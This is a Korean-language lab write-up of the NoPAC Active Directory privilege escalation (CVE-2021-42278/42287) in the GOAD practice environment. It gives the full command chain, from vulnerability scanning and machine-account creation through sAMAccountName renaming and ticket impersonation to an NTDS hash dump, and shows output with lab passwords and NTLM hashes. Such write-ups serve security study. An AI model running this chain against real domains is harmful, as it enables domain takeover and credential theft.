GOAD sAMAccountName Spoofing (NoPAC)
이번 포스팅에서는 탈취한 도메인 계정을 이용하여 활용할 수 있는 NoPAC(CVE-2021-42278 + CVE-2021-42287)과 관련된 내용을 담으려한다.
2021년 말에 모두가 Log4Shell 취약점에 관심가지고있을때도 유일하게 NoPAC을 얘기했던 형이 이번 GOAD를 시작하게된 동기를 줬던 형이라 아직도 기억에 남는다. 그때는 AD에 대해서 손톱만큼도 알지 못하여 이해가 어려웠지만 이제는 GOAD를 통해 알아나가려고한다 :)
NoPAC
먼저 NoPAC은 두 CVE를 연계하는 Active Directory 권한 상승 취약점이다. 아래와 같은 과정을 통해 발생할 수 있다.
AD에서 S4U2Self 과정에서 컴퓨터 이름을 찾을 수 없을 경우 KDC는 TGT에 지정된 컴퓨터 이름에 ‘$’를 추가한다. 이를 이요하여 공격자는 임의의 컴퓨터를 생성 후 해당 컴퓨터 이름을 DC의 sAMAccountName에서 ‘$’를 제외한 컴퓨터 이름으로 변경한다. 예를 들어 sAMAccountName이 ‘DC$’로 설정된 DC가 있을때 공격자는 sAMAccountName가 ‘DC’로 설정된 컴퓨터를 만들어 해당 컴퓨터의 TGT를 요청한다. KDC가 TGT를 발급한 후 해당 컴퓨터의 이름을 다시 임의의 컴퓨터명으로 변경하여 S4U2Self를 수행할 경우 sAMAccountNamed이 ‘DC’라는 컴퓨터를 찾을 수 없기에 KDC는 ‘DC$’라는 컴퓨터를 찾아 유요한 ST를 발급하는 것이 핵심이다.
S4U2self는 Kerberos 프로토콜의 확장 기능으로, 서비스가 사용자를 대신하여 자신에게 서비스 티켓을 요청할 수 있다.
sAMAccountName 특성은 Windows NT 4.0, Windows 95, Windows 98 및 LAN 관리자와 같은 이전 버전의 Windows에서 클라이언트 및 서버를 지원하는 데 사용되는 로그온 이름입니다. 로그온 이름은 20자 이하여야 하며 도메인 내의 모든 보안 주체 개체에서 고유해야 합니다.
CVE-2021-42278 (sAMAccountName Spoofing)
위에서 언급한것과 같이 sAMAccountName에 대한 검증이 제대로 이뤄지지 않는것에 대한 취약점이다. ‘DC$’라는 DC가 있을 경우 ‘DC’라는 sAMAccountName을 생성할 수 취약점이다. CVE-2021-42278
만 보면 심각한 취약점은 아니지만 위에서도 언급했고 아래에서도 언급 할 CVE-2021-42287
과 연계될 경우 도메인 관리자로 권한 상승할 수 있는 심각한 취약점으로 연계될 수 있다.
CVE-2021-42287
AD에서 컴퓨터 계정은 S4U2Self 커버로스 요청을 통해 특정 유저가 컴퓨터의 특정 서비스에 접근 가능한 ST을 KDC로부터 발급받을 수 있다. 이때 S4U2Self를 요청한 컴퓨터의 sAMAccountName이 AD에 존재하지 않을 경우 KDC가 전달받은 컴퓨터 sAMAccountName 뒤에 ‘$’을 추가적으로 붙여 ST를 발급하는 취약점이다.
Requirements
- 도메인 내
MAQ
값이 0이상(Default 10) 설정 필요 - 도메인 내 컴퓨터를 생성할 수 있는 유효한 계정 필요
- NoPAC에 대한 취약점 패치(KB5007247, KB5008601, KB5008602, KB5007205, KB5008102, KB5008380)가 이뤄지지 않은 DC 대상
MachineAccountQuota는 인증된 각각의 사용자가 생성할 수 있는 컴퓨터 개수
Exploit
먼저 위 요구사항에서 취약점 패치가 이뤄지지 않은 DC를 찾아야한다. 이에 대한 스캔으로는 netexec
의 SMB 커멘드의 모듈에 존재하는 nopac
으로 취약 여부를 파악할 수 있다.
현재 GOAD에 존재하는 아래 3개의 DC에 스캔 결과 WINTERFELL
DC 대상으로 NoPAC이 취약한것이 확인됐다.
- 192.168.56.10 (kingslanding.sevenkingdoms.local)
- 192.168.56.11 (winterfell.sevenkingdoms.local)
- 192.168.56.12 (meereen.essos.local)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# netexec smb '192.168.56.10' '192.168.56.11' '192.168.56.12' -d 'north.sevenkingdoms.local' -u 'samwell.tarly' -p 'Heartsbane' -M 'nopac'
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:True)
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB 192.168.56.10 445 KINGSLANDING [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB 192.168.56.12 445 MEEREEN [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
NOPAC 192.168.56.11 445 WINTERFELL TGT with PAC size 1654
NOPAC 192.168.56.11 445 WINTERFELL TGT without PAC size 817
NOPAC 192.168.56.11 445 WINTERFELL
NOPAC 192.168.56.11 445 WINTERFELL VULNERABLE
NOPAC 192.168.56.11 445 WINTERFELL Next step: https://github.com/Ridter/noPac
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
두번째로 WINTERFELL 도메인 컨트롤러에 MAQ를 확인하여 0이상의 값이 설정되어있는 것을 확인해야한다. 마찬가지로 netexec
의 ldap 커멘드의 모듈인 MAQ
를 이용하여 조회할 수 있다.
아래와 같은 커멘드로 WINTERFELL DC의 MAQ가 기본 설정인 10으로 설정되어있는 것을 볼 수 있다.
1
2
3
4
5
6
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# netexec ldap '192.168.56.11' -d 'north.sevenkingdoms.local' -u 'samwell.tarly' -p 'Heartsbane' -M 'MAQ'
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
LDAP 192.168.56.11 389 WINTERFELL [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
MAQ 192.168.56.11 389 WINTERFELL [*] Getting the MachineAccountQuota
MAQ 192.168.56.11 389 WINTERFELL MachineAccountQuota: 10
이제 본격적으로 NoPAC을 통해 권한 상승하기위해서 첫번째로 새로운 컴퓨터를 생성한다. 컴퓨터명은 ‘juicemon-computer$’, 패스워드는 ‘123456’으로 생성하였다.
1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# impacket-addcomputer -computer-name 'juicemon-computer$' -computer-pass '123456' -dc-ip '192.168.56.11' 'north.sevenkingdoms.local/samwell.tarly:Heartsbane'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs
[*] Successfully added machine account juicemon-computer$ with password 123456.
이제 생성된 컴퓨터의 SPN을 초기화한다. 이때 사용되는 도구는 krbrelayx의 addspn.py
이다.
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# python3 addspn.py --clear -t 'juicemon-computer$' -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' 'winterfell.north.sevenkingdoms.local'
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] Printing object before clearing
DN: CN=juicemon-computer,CN=Computers,DC=north,DC=sevenkingdoms,DC=local - STATUS: Read - READ TIME: 2024-01-11T00:59:19.440048
sAMAccountName: juicemon-computer$
[+] SPN Modified successfully
다음으로 생성된 ‘juicemon-computer$’의 컴퓨터 이름을 ‘WINTERFELL’로 변경한다.
1
2
3
4
5
6
7
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# renameMachine.py -current-name 'juicemon-computer$' -new-name 'winterfell' -dc-ip '192.168.56.11' 'north.sevenkingdoms.local/samwell.tarly:Heartsbane'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs
[*] Modifying attribute (sAMAccountName) of object (CN=juicemon-computer,CN=Computers,DC=north,DC=sevenkingdoms,DC=local): (juicemon-computer$) -> (winterfell)
[*] New sAMAccountName does not end with '$' (attempting CVE-2021-42278)
[*] Target object modified successfully!
이제 변경한 컴퓨터의 TGT를 발급받는다.
1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# impacket-getTGT 'north.sevenkingdoms.local/winterfell:123456' -dc-ip '192.168.56.11'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs
[*] Saving ticket in winterfell.ccache
이후 컴퓨터 이름을 변경한 컴퓨터를 다시 원래 이름으로 재설정한다.
1
2
3
4
5
6
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# renameMachine.py -current-name 'winterfell' -new-name 'juicemon-computer$' -dc-ip '192.168.56.11' 'north.sevenkingdoms.local/samwell.tarly:Heartsbane'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs
[*] Modifying attribute (sAMAccountName) of object (CN=juicemon-computer,CN=Computers,DC=north,DC=sevenkingdoms,DC=local): (winterfell) -> (juicemon-computer$)
[*] Target object modified successfully!
마지막으로 발급받았던 TGT를 이용하여 S4U2Self로 ST를 발급받는다.
1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# getST.py -self -impersonate 'Administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip '192.168.56.11' 'north.sevenkingdoms.local/winterfell'
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Changing service from winterfell@NORTH.SEVENKINGDOMS.LOCAL to CIFS/winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL
[*] Saving ticket in Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
이렇게 도메인 관리자로 권한 상승한 모습을 확인할 수 있다 :)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(root㉿kali)-[~/Desktop/Tools/krbrelayx]
└─# netexec smb '192.168.56.11' -d 'north.sevenkingdoms.local' --use-kcache --ntds
[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] Y
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\Administrator from ccache (Pwn3d!)
SMB 192.168.56.11 445 WINTERFELL [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 192.168.56.11 445 WINTERFELL Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
SMB 192.168.56.11 445 WINTERFELL Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.56.11 445 WINTERFELL krbtgt:502:aad3b435b51404eeaad3b435b51404ee:24523cad3e6e5e46fb871ed0f26e0f58:::
SMB 192.168.56.11 445 WINTERFELL vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
SMB 192.168.56.11 445 WINTERFELL arya.stark:1109:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709:::
SMB 192.168.56.11 445 WINTERFELL eddard.stark:1110:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::
SMB 192.168.56.11 445 WINTERFELL catelyn.stark:1112:aad3b435b51404eeaad3b435b51404ee:cba36eccfd9d949c73bc73715364aff5:::
SMB 192.168.56.11 445 WINTERFELL robb.stark:1113:aad3b435b51404eeaad3b435b51404ee:831486ac7f26860c9e2f51ac91e1a07a:::
SMB 192.168.56.11 445 WINTERFELL sansa.stark:1114:aad3b435b51404eeaad3b435b51404ee:2c643546d00054420505a2bf86d77c47:::
SMB 192.168.56.11 445 WINTERFELL brandon.stark:1115:aad3b435b51404eeaad3b435b51404ee:84bbaa1c58b7f69d2192560a3f932129:::
SMB 192.168.56.11 445 WINTERFELL rickon.stark:1116:aad3b435b51404eeaad3b435b51404ee:7978dc8a66d8e480d9a86041f8409560:::
SMB 192.168.56.11 445 WINTERFELL hodor:1117:aad3b435b51404eeaad3b435b51404ee:337d2667505c203904bd899c6c95525e:::
SMB 192.168.56.11 445 WINTERFELL jon.snow:1118:aad3b435b51404eeaad3b435b51404ee:b8d76e56e9dac90539aff05e3ccb1755:::
SMB 192.168.56.11 445 WINTERFELL samwell.tarly:1119:aad3b435b51404eeaad3b435b51404ee:f5db9e027ef824d029262068ac826843:::
SMB 192.168.56.11 445 WINTERFELL jeor.mormont:1120:aad3b435b51404eeaad3b435b51404ee:6dccf1c567c56a40e56691a723a49664:::
SMB 192.168.56.11 445 WINTERFELL sql_svc:1121:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
SMB 192.168.56.11 445 WINTERFELL WINTERFELL$:1001:aad3b435b51404eeaad3b435b51404ee:1886a9504690552ba942f7ecbeebd688:::
SMB 192.168.56.11 445 WINTERFELL CASTELBLACK$:1104:aad3b435b51404eeaad3b435b51404ee:fb1e254aa5e08817ee680b02f9122c42:::
SMB 192.168.56.11 445 WINTERFELL juicemon-computer$:1122:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
SMB 192.168.56.11 445 WINTERFELL SEVENKINGDOMS$:1111:aad3b435b51404eeaad3b435b51404ee:a49c514a4690f4e0ff43f88b42e79336:::
SMB 192.168.56.11 445 WINTERFELL [+] Dumped 20 NTDS hashes to /root/.nxc/logs/WINTERFELL_192.168.56.11_2024-01-11_013001.ntds of which 16 were added to the database
SMB 192.168.56.11 445 WINTERFELL [*] To extract only enabled accounts from the output file, run the following command:
SMB 192.168.56.11 445 WINTERFELL [*] cat /root/.nxc/logs/WINTERFELL_192.168.56.11_2024-01-11_013001.ntds | grep -iv disabled | cut -d ':' -f1
SMB 192.168.56.11 445 WINTERFELL [*] grep -iv disabled /root/.nxc/logs/WINTERFELL_192.168.56.11_2024-01-11_013001.ntds | cut -d ':' -f1